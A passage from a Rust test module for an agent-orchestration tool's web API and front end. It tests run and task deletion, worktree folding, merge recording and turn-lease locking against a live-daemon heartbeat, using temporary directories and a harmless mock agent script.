23773        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23774
23775        // 3. The same `running` status and an orphaned lock, with no daemon
23776        // behind either, is a leftover and deletable. Before this the phone
23777        // refused it for good: the status never changes on its own and
23778        // nothing drops a lock whose process is gone.
23779        // The daemon is killed: the file stays, the heartbeat stops.
23780        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23781        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23782            .expect("leave a stale heartbeat");
23783        let mut t3 = Task::new(
23784            "Task 3".to_owned(),
23785            "Instruction 3".to_owned(),
23786            PathBuf::from("/repo"),
23787            Source::Human,
23788        );
23789        t3.status = TaskStatus::Running;
23790        q.put(&mut t3).expect("put t3");
23791        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23792        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23793        assert_eq!(res.status, 204);
23794        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23795        assert!(
23796            q.claim(&t3.id).is_ok(),
23797            "the stale lock went with it, so the id is claimable again"
23798        );
23799
23800        // 4. Missing id returns 404
23801        let res = fx.delete("/api/queue/nonexistent").await;
23802        assert_eq!(res.status, 404);
23803    }
23804
23805    #[tokio::test]
23806    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23807        let fx = Fixture::start().await;
23808        let runs = fx.runs();
23809
23810        // 1. Finished and folded run can be deleted along with artifacts
23811        let run_id = "20260901-000000-fold";
23812        let mut state = RunState::new(
23813            PathBuf::from("/repo"),
23814            "main".to_owned(),
23815            "abc".to_owned(),
23816            "instruction".to_owned(),
23817            Config::default(),
23818        );
23819        state.id = run_id.to_owned();
23820        state.status = RunStatus::Merged;
23821        state.candidates.push(crate::run::Candidate {
23822            index: 0,
23823            label: 'A',
23824            agent: "a".to_owned(),
23825            branch: "b".to_owned(),
23826            worktree: PathBuf::from("/w"),
23827            summary: String::new(),
23828            stat: String::new(),
23829            files: 1,
23830            commits: 1,
23831            empty: false,
23832            failed: None,
23833            verified_noop: None,
23834            duration_ms: 0,
23835            folded: true,
23836        });
23837        let dir = runs.join(run_id);
23838        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23839        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23840            .expect("write artifact");
23841        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23842            .expect("write run.json");
23843
23844        // Delete by short id
23845        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23846        assert_eq!(res.status, 204);
23847        assert!(res.body.is_empty(), "204 has no body");
23848        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23849
23850        // 2. A run a live daemon is working on is refused with 409. The
23851        // heartbeat is what makes it refusable: an unfinished run with no
23852        // daemon behind it is a leftover from a killed process, and case 1
23853        // above would otherwise be impossible to tell apart from this one.
23854        let run_running = "20260901-000000-rung";
23855        write_run(&runs, run_running, RunStatus::Prep);
23856        let mut beat = crate::daemon::Status::new();
23857        beat.current = vec![crate::daemon::Current {
23858            worker: None,
23859            task: "20260901-000000-task".to_owned(),
23860            run: run_running.to_owned(),
23861        }];
23862        beat.updated_at = jiff::Timestamp::now();
23863        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23864            .expect("publish a heartbeat");
23865        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23866        assert_eq!(res.status, 409);
23867        assert!(
23868            res.json()["error"]
23869                .as_str()
23870                .unwrap()
23871                .contains("live daemon"),
23872            "the refusal must say who is holding it"
23873        );
23874        assert!(
23875            runs.join(run_running).exists(),
23876            "a run in flight keeps its directory"
23877        );
23878
23879        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23880        let run_unfolded = "20260901-000000-unfd";
23881        let mut state2 = RunState::new(
23882            PathBuf::from("/repo"),
23883            "main".to_owned(),
23884            "abc".to_owned(),
23885            "instruction".to_owned(),
23886            Config::default(),
23887        );
23888        state2.id = run_unfolded.to_owned();
23889        state2.status = RunStatus::Ready;
23890        state2.candidates.push(crate::run::Candidate {
23891            index: 0,
23892            label: 'A',
23893            agent: "a".to_owned(),
23894            branch: "b".to_owned(),
23895            worktree: PathBuf::from("/w"),
23896            summary: String::new(),
23897            stat: String::new(),
23898            files: 1,
23899            commits: 1,
23900            empty: false,
23901            failed: None,
23902            verified_noop: None,
23903            duration_ms: 0,
23904            folded: false,
23905        });
23906        let dir2 = runs.join(run_unfolded);
23907        std::fs::create_dir_all(&dir2).expect("create dir2");
23908        std::fs::write(
23909            dir2.join("run.json"),
23910            serde_json::to_string(&state2).unwrap(),
23911        )
23912        .expect("write run.json");
23913
23914        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23915        assert_eq!(res.status, 409);
23916        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23917        assert!(dir2.exists(), "unfolded run directory is kept");
23918
23919        // 4. Missing id returns 404
23920        let res = fx.delete("/api/runs/nonexistent").await;
23921        assert_eq!(res.status, 404);
23922    }
23923
23924    /// The queue tiles on the Stats tab must render even on a home with no
23925    /// runs at all: queue state is not derived from run history, so hiding
23926    /// the whole dashboard body behind "no runs yet" would drop the one
23927    /// thing this tab promises unconditionally (queued/running/held/done).
23928    /// A DOM-level test would need a browser this suite does not have, so
23929    /// this pins the same invariant textually: `renderStatsQueue` is called
23930    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
23931    /// block that gates the run-derived panels.
23932    #[test]
23933    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23934        let start = APP_JS
23935            .find("function renderStats() {")
23936            .expect("renderStats");
23937        let end = start
23938            + APP_JS[start..]
23939                .find("function statsTile(")
23940                .expect("the next top-level function");
23941        let body = &APP_JS[start..end];
23942
23943        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23944        let gate_end = gate_start
23945            + body[gate_start..]
23946                .find("}\n  renderStatsQueue")
23947                .expect("the gate's own closing brace, right before the unconditional call");
23948        let gated = &body[gate_start..gate_end];
23949
23950        assert_eq!(
23951            body.matches("renderStatsQueue(").count(),
23952            1,
23953            "renderStats must call renderStatsQueue exactly once: {body}"
23954        );
23955        assert!(
23956            !gated.contains("renderStatsQueue"),
23957            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
23958             run-derived panels on an empty run history - the queue panel has to render \
23959             regardless: {gated}"
23960        );
23961    }
23962
23963    #[test]
23964    fn web_ui_delete_contract_in_front_end() {
23965        // 1. API block has both delete endpoints
23966        assert!(APP_JS.contains("deleteRun:"));
23967        assert!(APP_JS.contains("deleteTask:"));
23968
23969        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
23970        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
23971            ..APP_JS.find("function renderRuns").unwrap()];
23972        assert!(!run_cards_slice.to_lowercase().contains("delete"));
23973
23974        // 3. Run detail has delete entry and reasons
23975        assert!(APP_JS.contains("renderRunDelete"));
23976        assert!(APP_JS.contains("runDeleteReason"));
23977        assert!(APP_JS.contains("magi fold"));
23978        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
23979
23980        // 4. Two-step delete arming and focus on Cancel
23981        assert!(APP_JS.contains("cancel.focus"));
23982        assert!(APP_JS.contains("armedRunDelete"));
23983        assert!(APP_JS.contains("renderTaskDeleteBox"));
23984        assert!(APP_JS.contains("armed${cap(key)}"));
23985
23986        // 5. Running task has disabled delete
23987        assert!(APP_JS.contains("disabled: status === \"running\""));
23988    }
23989
23990    /// Every element a run card's updater reaches for must be in the `refs`
23991    /// the builder handed it.
23992    ///
23993    /// `createRunCard` builds its elements, appends them to the card, and then
23994    /// lists them again in `row.refs`. That second list is the one the updater
23995    /// uses, and nothing connects the two - an element can be built, appended
23996    /// and rendered, and still be missing from `refs`. `superseded` was, for
23997    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
23998    /// exception took `syncList` with it, and the deck showed
23999    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
24000    /// line is computed before the cards, which is why the failure looked like
24001    /// a server that had lost its runs rather than a front end that had
24002    /// stopped rendering them.
24003    ///
24004    /// A `cargo test` cannot execute the front end, so this reads the two
24005    /// halves out of the source and compares them as sets. It is not a check
24006    /// on the wording of either list: adding an element, renaming one, or
24007    /// reordering them all keeps this passing, and only using one the builder
24008    /// never published fails it.
24009    #[test]
24010    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
24011        let build = APP_JS
24012            .find("function createRunCard")
24013            .expect("createRunCard exists");
24014        let update = APP_JS
24015            .find("function updateRunCard")
24016            .expect("updateRunCard exists");
24017        let end = APP_JS
24018            .find("function renderRuns")
24019            .expect("renderRuns exists");
24020
24021        // The builder's published set: the object literal assigned to `refs`.
24022        let builder = &APP_JS[build..update];
24023        let open = builder.find("refs = {").expect("createRunCard sets refs");
24024        let literal = &builder[open + "refs = {".len()..];
24025        let close = literal.find('}').expect("the refs literal is closed");
24026        let published: HashSet<&str> = literal[..close]
24027            .split(',')
24028            // `name` and `name: value` both bind `name`.
24029            .filter_map(|entry| entry.split(':').next())
24030            .map(str::trim)
24031            .filter(|name| !name.is_empty())
24032            .collect();
24033        assert!(
24034            published.len() > 5,
24035            "the refs literal did not parse into names: {published:?}"
24036        );
24037
24038        // What the updaters reach for: every `r.<name>`, where `r` is the
24039        // `const r = row.refs` alias both functions open with.
24040        let mut used: Vec<&str> = Vec::new();
24041        let updaters = &APP_JS[update..end];
24042        for (at, _) in updaters.match_indices("r.") {
24043            // `r` must be the whole identifier, not the tail of another one
24044            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
24045            let before = updaters[..at].chars().next_back();
24046            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
24047                continue;
24048            }
24049            let rest = &updaters[at + 2..];
24050            let len = rest
24051                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
24052                .unwrap_or(rest.len());
24053            if len > 0 {
24054                used.push(&rest[..len]);
24055            }
24056        }
24057        assert!(
24058            used.len() > 5,
24059            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
24060        );
24061
24062        let missing: Vec<&str> = used
24063            .iter()
24064            .copied()
24065            .filter(|name| !published.contains(name))
24066            .collect();
24067        assert!(
24068            missing.is_empty(),
24069            "a run card's updater reaches for {missing:?}, which `createRunCard` \
24070             never put in `refs` - every card will throw and the list will \
24071             render empty under a count line that says otherwise. Published: \
24072             {published:?}"
24073        );
24074    }
24075
24076    #[tokio::test]
24077    async fn folding_from_the_phone_reports_what_it_removed() {
24078        let fx = Fixture::start().await;
24079        let runs = fx.runs();
24080
24081        // A run with no candidates has nothing to fold, which is a 200 with an
24082        // honest count rather than an error: the operator asked for the trees
24083        // to be gone and they are.
24084        let id = "20260901-000000-fold";
24085        write_run(&runs, id, RunStatus::Stalled);
24086        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24087        assert_eq!(res.status, 200);
24088        assert_eq!(res.json()["removed_count"], 0);
24089        assert_eq!(res.json()["run"], id);
24090        assert!(
24091            runs.join(id).exists(),
24092            "a fold keeps the run's record; only the worktrees go"
24093        );
24094    }
24095
24096    /// `runs/<A>/run.json` holding run B's record is not run A: the phone's fold
24097    /// routes refuse it instead of folding B on A's say, and change nothing.
24098    #[tokio::test]
24099    async fn folding_a_record_that_names_another_run_is_refused() {
24100        let fx = Fixture::start().await;
24101        let runs = fx.runs();
24102        let (a, b) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24103        write_run(&runs, a, RunStatus::Stalled);
24104        write_run(&runs, b, RunStatus::Stalled);
24105        std::fs::copy(runs.join(b).join("run.json"), runs.join(a).join("run.json")).unwrap();
24106        let record = std::fs::read(runs.join(a).join("run.json")).unwrap();
24107
24108        let res = fx.post(&format!("/api/runs/{a}/fold"), None).await;
24109        assert_eq!(res.status, 500, "{}", res.body);
24110        assert!(res.body.contains("not run"), "{}", res.body);
24111        let res = fx
24112            .post(
24113                &format!("/api/runs/{a}/fold-merged"),
24114                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24115            )
24116            .await;
24117        assert_eq!(res.status, 500, "{}", res.body);
24118        assert_eq!(
24119            std::fs::read(runs.join(a).join("run.json")).unwrap(),
24120            record
24121        );
24122    }
24123
24124    #[tokio::test]
24125    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
24126        let fx = Fixture::start().await;
24127        let runs = fx.runs();
24128        let wt = fx.home.path().join("wt").join("magi").join("dead");
24129        let id = "20260901-000000-dead";
24130        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24131        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24132        std::fs::create_dir_all(&wt).expect("worktree dir");
24133
24134        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24135        assert_eq!(res.status, 200, "{}", res.body);
24136        assert!(
24137            res.json()["removed_count"].as_u64().unwrap() > 0,
24138            "the worktree this build could not read a state for still went"
24139        );
24140        assert!(
24141            !runs.join(id).exists(),
24142            "an unreadable run has no candidate list to fold selectively, so \
24143             the whole record goes - same as `magi fold` on the CLI"
24144        );
24145    }
24146
24147    #[tokio::test]
24148    async fn folding_a_record_of_another_run_in_a_refused_schema_is_an_identity_error() {
24149        let fx = Fixture::start().await;
24150        let runs = fx.runs();
24151        let id = "20260901-000000-mism";
24152        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24153        let record = br#"{"schema": 99999, "id": "20260901-000000-else"}"#.to_vec();
24154        std::fs::write(runs.join(id).join("run.json"), &record).expect("record");
24155
24156        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24157        assert_eq!(res.status, 500, "{}", res.body);
24158        assert!(
24159            res.json()["error"]
24160                .as_str()
24161                .unwrap()
24162                .contains("records run 20260901-000000-else"),
24163            "{}",
24164            res.body
24165        );
24166        assert_eq!(
24167            std::fs::read(runs.join(id).join("run.json")).unwrap(),
24168            record,
24169            "nothing is removed"
24170        );
24171    }
24172
24173    #[tokio::test]
24174    async fn deleting_an_unreadable_run_removes_it_wholesale() {
24175        let fx = Fixture::start().await;
24176        let runs = fx.runs();
24177        let wt = fx.home.path().join("wt").join("magi").join("gone");
24178        let id = "20260901-000000-gone";
24179        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24180        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24181        std::fs::create_dir_all(&wt).expect("worktree dir");
24182
24183        let res = fx.delete(&format!("/api/runs/{id}")).await;
24184        assert_eq!(res.status, 204, "{}", res.body);
24185        assert!(!runs.join(id).exists(), "the broken record is gone");
24186        assert!(!wt.exists(), "its worktree is gone too");
24187    }
24188
24189    #[tokio::test]
24190    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
24191        let fx = Fixture::start().await;
24192        let runs = fx.runs();
24193        let id = "20260901-000000-live";
24194        write_run(&runs, id, RunStatus::Implementing);
24195
24196        let mut beat = crate::daemon::Status::new();
24197        beat.current = vec![crate::daemon::Current {
24198            worker: None,
24199            task: "20260901-000000-task".to_owned(),
24200            run: id.to_owned(),
24201        }];
24202        beat.updated_at = jiff::Timestamp::now();
24203        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24204            .expect("publish a heartbeat");
24205
24206        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24207        assert_eq!(res.status, 409);
24208        assert!(
24209            res.json()["error"]
24210                .as_str()
24211                .unwrap()
24212                .contains("live daemon"),
24213            "folding under a running agent would pull its worktree away"
24214        );
24215    }
24216
24217    #[tokio::test]
24218    async fn fold_merged_requires_a_pr_url() {
24219        let fx = Fixture::start().await;
24220        let runs = fx.runs();
24221        let id = "20260901-000000-nourl";
24222        write_run(&runs, id, RunStatus::Blocked);
24223
24224        let res = fx
24225            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
24226            .await;
24227        assert_eq!(res.status, 400, "{}", res.body);
24228
24229        let blank = fx
24230            .post(
24231                &format!("/api/runs/{id}/fold-merged"),
24232                Some(r#"{"pr_url":"   "}"#),
24233            )
24234            .await;
24235        assert_eq!(blank.status, 400, "{}", blank.body);
24236    }
24237
24238    #[tokio::test]
24239    async fn fold_merged_is_404_for_an_unknown_run() {
24240        let fx = Fixture::start().await;
24241        let res = fx
24242            .post(
24243                "/api/runs/nosuchrun/fold-merged",
24244                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24245            )
24246            .await;
24247        assert_eq!(res.status, 404, "{}", res.body);
24248    }
24249
24250    #[tokio::test]
24251    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
24252        let fx = Fixture::start().await;
24253        let runs = fx.runs();
24254        let id = "20260901-000000-livemerge";
24255        write_run(&runs, id, RunStatus::Blocked);
24256
24257        let mut beat = crate::daemon::Status::new();
24258        beat.current = vec![crate::daemon::Current {
24259            worker: None,
24260            task: "20260901-000000-task".to_owned(),
24261            run: id.to_owned(),
24262        }];
24263        beat.updated_at = jiff::Timestamp::now();
24264        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24265            .expect("publish a heartbeat");
24266
24267        let res = fx
24268            .post(
24269                &format!("/api/runs/{id}/fold-merged"),
24270                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24271            )
24272            .await;
24273        assert_eq!(res.status, 409, "{}", res.body);
24274        assert!(
24275            res.json()["error"]
24276                .as_str()
24277                .unwrap()
24278                .contains("live daemon"),
24279            "correcting a run's merge underneath a running agent would race \
24280             whatever it is doing to the same `status`/`merge` fields"
24281        );
24282    }
24283
24284    /// A pull request `gh` cannot even ask about (no such remote, no such
24285    /// repository) must never be recorded as a merge on a guess - the same
24286    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
24287    /// command line, reached here through the phone route instead.
24288    #[tokio::test]
24289    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
24290        let fx = Fixture::start().await;
24291        let runs = fx.runs();
24292        let id = "20260901-000000-unconfirmed";
24293        write_run(&runs, id, RunStatus::Blocked);
24294
24295        let res = fx
24296            .post(
24297                &format!("/api/runs/{id}/fold-merged"),
24298                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24299            )
24300            .await;
24301        assert_eq!(res.status, 400, "{}", res.body);
24302        assert_eq!(
24303            read_run(&runs, id).unwrap().status,
24304            RunStatus::Blocked,
24305            "a pull request that could not be confirmed merged must leave \
24306             the run exactly where it was"
24307        );
24308    }
24309
24310    #[tokio::test]
24311    async fn terminal_runs_cannot_be_resumed() {
24312        let fx = Fixture::start().await;
24313        let runs = fx.runs();
24314
24315        for (status, word) in [
24316            (RunStatus::Merged, "merged"),
24317            (RunStatus::Ready, "ready"),
24318            (RunStatus::Failed, "failed"),
24319        ] {
24320            let id = format!("20260901-000000-{}", &word[..4]);
24321            write_run(&runs, &id, status);
24322            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
24323            assert_eq!(res.status, 409, "{word} must not be resumable");
24324        }
24325    }
24326
24327    #[tokio::test]
24328    async fn resume_is_refused_while_the_loop_is_running() {
24329        let fx = Fixture::start().await;
24330        let runs = fx.runs();
24331        let stalled = "20260901-000000-stal";
24332        write_run(&runs, stalled, RunStatus::Stalled);
24333
24334        // The loop is busy with a *different* run, and that is still a
24335        // refusal: a manual resume must never race whatever the loop itself
24336        // is already driving, whether that is one run or several.
24337        let mut beat = crate::daemon::Status::new();
24338        beat.current = vec![crate::daemon::Current {
24339            worker: None,
24340            task: "20260901-000000-task".to_owned(),
24341            run: "20260901-000000-othr".to_owned(),
24342        }];
24343        beat.updated_at = jiff::Timestamp::now();
24344        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24345            .expect("publish a heartbeat");
24346
24347        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
24348        assert_eq!(res.status, 409);
24349        let err = res.json()["error"].as_str().unwrap().to_owned();
24350        assert!(err.contains("othr"), "it names what the loop is on: {err}");
24351        assert!(err.contains("stop it first"), "{err}");
24352    }
24353
24354    #[test]
24355    fn a_run_cannot_be_resumed_twice_at_once() {
24356        let home = TempDir::new().expect("temp home");
24357        let ui = Ui::new(
24358            Queue::at(home.path().join("queue")),
24359            Questions::at(home.path().join("questions")),
24360            Talks::at(home.path().join("talks")),
24361            home.path().join("runs"),
24362            home.path().to_path_buf(),
24363            PathBuf::from("/repo"),
24364        )
24365        .with_worktrees_root(home.path().join("wt"));
24366        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
24367        let again = ui.begin_resume("20260901-000000-once");
24368        assert!(again.is_err(), "a second tap must not start a second graph");
24369        drop(first);
24370        assert!(
24371            ui.begin_resume("20260901-000000-once").is_ok(),
24372            "and the claim is released when the attempt ends"
24373        );
24374    }
24375
24376    #[test]
24377    fn talk_thinking_tracks_only_its_held_turn_claim() {
24378        let home = TempDir::new().expect("temp home");
24379        let ui = Ui::new(
24380            Queue::at(home.path().join("queue")),
24381            Questions::at(home.path().join("questions")),
24382            Talks::at(home.path().join("talks")),
24383            home.path().join("runs"),
24384            home.path().to_path_buf(),
24385            PathBuf::from("/repo"),
24386        )
24387        .with_worktrees_root(home.path().join("wt"));
24388        let id = "20260901-000000-once";
24389
24390        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
24391        let turn = ui.begin_talk_turn(id).expect("claim turn");
24392        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
24393        assert!(
24394            !ui.is_thinking("20260901-000000-other"),
24395            "one talk's turn does not make another talk busy"
24396        );
24397        drop(turn);
24398        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
24399    }
24400
24401    #[test]
24402    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
24403        let home = TempDir::new().expect("temp home");
24404        let talks = Talks::at(home.path().join("talks"));
24405        let ui = Ui::new(
24406            Queue::at(home.path().join("queue")),
24407            Questions::at(home.path().join("questions")),
24408            talks.clone(),
24409            home.path().join("runs"),
24410            home.path().to_path_buf(),
24411            PathBuf::from("/repo"),
24412        )
24413        .with_worktrees_root(home.path().join("wt"));
24414        let id = "20260901-000000-cross";
24415
24416        let other = Talks::at(home.path().join("talks"))
24417            .claim_turn(id)
24418            .expect("claim")
24419            .expect("the other process wins");
24420        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
24421        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
24422        assert!(
24423            matches!(
24424                ui.begin_talk_turn_unless_pending(id).expect("start"),
24425                TalkTurnStart::Foreign
24426            ),
24427            "a foreign holder is refused, not queued behind"
24428        );
24429        assert!(
24430            !ui.talk_turns.lock().unwrap().live.contains(id),
24431            "a refused claim leaves no in-process entry behind"
24432        );
24433        drop(other);
24434        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
24435        assert!(talks.turn_held(id), "the web turn holds the lease");
24436        drop(turn);
24437        assert!(
24438            !talks.turn_held(id),
24439            "dropping the guard releases the lease"
24440        );
24441    }
24442
24443    fn consult_question(ui: &Ui) -> Question {
24444        let mut q = Question::new(
24445            "20260901-000000-consult".to_owned(),
24446            "implement".to_owned(),
24447            "impl-A".to_owned(),
24448            "Which backend?".to_owned(),
24449            String::new(),
24450            vec!["SQLite".to_owned(), "Redis".to_owned()],
24451        );
24452        ui.questions.put(&mut q).expect("question");
24453        q
24454    }
24455
24456    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
24457        (
24458            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
24459            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
24460        )
24461    }
24462
24463    #[tokio::test]
24464    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
24465        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24466        let q = consult_question(&ui);
24467        let talk = ui.talks.get(&id).expect("talk");
24468        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
24469        let before = consult_snapshot(&ui, &q, &id);
24470        let cli_talks = Talks::at(ui.home.join("talks"));
24471        assert_eq!(
24472            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
24473                .await
24474                .expect("CLI starter"),
24475            crate::consult::Started::Busy
24476        );
24477        assert_eq!(consult_snapshot(&ui, &q, &id), before);
24478        assert!(ui.is_thinking(&id));
24479        drop(guard);
24480        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
24481    }
24482
24483    #[tokio::test]
24484    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
24485        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24486        let q = consult_question(&ui);
24487        let talk = ui.talks.get(&id).expect("talk");
24488        let started = tmp.path().join("started");
24489        let release = tmp.path().join("release");
24490        let script = tmp.path().join("consult-agent.sh");
24491        std::fs::write(
24492            &script,
24493            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
24494        )
24495        .expect("script");
24496        let mut cfg = stub_config();
24497        cfg.agents[0].id = "mock".to_owned();
24498        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
24499        cfg.agents[0].env = std::collections::BTreeMap::from([
24500            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
24501            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
24502        ]);
24503        let questions = ui.questions.clone();
24504        let cli_talks = Talks::at(ui.home.join("talks"));
24505        let cli_q = q.clone();
24506        let turn = tokio::spawn(async move {
24507            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
24508        });
24509        let ready = tokio::time::timeout(Duration::from_secs(30), async {
24510            while !started.exists() {
24511                tokio::time::sleep(Duration::from_millis(10)).await;
24512            }
24513        })
24514        .await;
24515        // Always release and join the agent, even if readiness or the web
24516        // request fails, so a failed assertion cannot leave a turn behind.
24517        let refusal = if ready.is_ok() {
24518            let before = consult_snapshot(&ui, &q, &id);
24519            let result = talk_say(
24520                State(Arc::clone(&ui)),
24521                Path(id.clone()),
24522                Ok(Json(NewTalkTurn {
24523                    reply_to: None,
24524                    text: "another message".to_owned(),
24525                    attachments: Vec::new(),
24526                })),
24527            )
24528            .await;
24529            Some((result, before, consult_snapshot(&ui, &q, &id)))
24530        } else {
24531            None
24532        };
24533        std::fs::write(&release, "").expect("release agent");
24534        let done = turn.await.expect("join CLI turn");
24535        ready.expect("agent started before deadline");
24536        let (result, before, after) = refusal.expect("web request");
24537        let error = result.expect_err("web must refuse the CLI's turn");
24538        assert_eq!(error.status, StatusCode::CONFLICT);
24539        assert!(error.message.contains("a turn is already running"));
24540        assert_eq!(
24541            after, before,
24542            "refusal preserves question, draft and history"
24543        );
24544        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
24545        let guard = ui
24546            .begin_talk_turn(&id)
24547            .expect("web claim")
24548            .expect("free again");
24549        drop(guard);
24550    }
24551
24552    #[test]
24553    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
24554        let home = TempDir::new().expect("temp home");
24555        let talks = Talks::at(home.path().join("talks"));
24556        let ui = Ui::new(
24557            Queue::at(home.path().join("queue")),
24558            Questions::at(home.path().join("questions")),
24559            talks.clone(),
24560            home.path().join("runs"),
24561            home.path().to_path_buf(),
24562            PathBuf::from("/repo"),
24563        )
24564        .with_worktrees_root(home.path().join("wt"));
24565        let id = "20260901-000000-order";
24566        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
24567        // Hold the slot mutex so the drop can finish the lease but not the slot.
24568        let slots = ui.talk_turns.lock().unwrap();
24569        let dropper = std::thread::spawn(move || drop(turn));
24570        let start = std::time::Instant::now();
24571        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
24572            std::thread::sleep(Duration::from_millis(5));
24573        }
24574        assert!(!talks.turn_held(id), "the lease is released first");
24575        assert!(slots.live.contains(id), "the slot is still held meanwhile");
24576        drop(slots);
24577        dropper.join().expect("join");
24578        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
24579    }
24580
24581    #[tokio::test]
24582    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
24583        let fx = Fixture::start().await;
24584        let mut beat = crate::daemon::Status::new();
24585        beat.worker_protocol = None;
24586        beat.pid = 4321;
24587        beat.updated_at = jiff::Timestamp::now();
24588        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24589            .expect("publish a heartbeat");
24590
24591        let res = fx.post("/api/upgrade", None).await;
24592        assert_eq!(res.status, 409);
24593    }
24594
24595    /// [`should_spawn_recheck`] must refuse for the same two reasons
24596    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
24597    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
24598    /// Purely a predicate over config and the environment - no network, no
24599    /// disk, no runtime - so unlike the fixture-based tests around it this
24600    /// one needs neither.
24601    #[test]
24602    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
24603        assert!(!should_spawn_recheck(&crate::config::Update {
24604            mode: UpdateMode::Off,
24605            interval: None,
24606            auto_restart: false,
24607        }));
24608
24609        // SAFETY: single-threaded as far as this variable goes, the same
24610        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24611        unsafe {
24612            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24613        }
24614        let killed = should_spawn_recheck(&crate::config::Update {
24615            mode: UpdateMode::Notify,
24616            interval: None,
24617            auto_restart: false,
24618        });
24619        unsafe {
24620            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24621        }
24622        assert!(
24623            !killed,
